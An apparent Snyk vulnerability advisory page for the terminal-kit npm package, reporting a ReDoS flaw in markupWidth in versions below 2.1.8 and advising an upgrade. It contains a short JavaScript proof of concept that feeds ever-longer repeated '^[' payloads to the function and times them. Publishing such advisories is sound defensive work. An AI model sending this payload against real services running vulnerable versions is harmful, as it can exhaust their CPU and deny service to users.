terminal-kit@1.31.6 vulnerabilities

256 colors, keys and mouse, input field, progress bars, screen buffer (including 32-bit composition and image loading), text buffer, and many more... Whether you just need colors and styles, build a simple interactive command line tool or a complexe termi

  • latest version

    3.1.1

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    9 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the terminal-kit package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    terminal-kit is a full-blown terminal lib featuring: 256 colors, styles, keys & mouse handling, input field, progress bars, screen buffer (including 32-bit composition and image loading), text buffer, and much more.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via markupWidth.

    PoC

    var termkit = require("terminal-kit");
    
    for(var i = 1; i < 1000; i=i*2) {
        var start_ts = Date.now();
        var payload = "^[".repeat(i*1000);
        termkit.markupWidth(payload);
        var time_cost = Date.now() - start_ts;
        console.log("payload length: " + payload.length + " - duration: " + time_cost + "ms")
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade terminal-kit to version 2.1.8 or higher.

    <2.1.8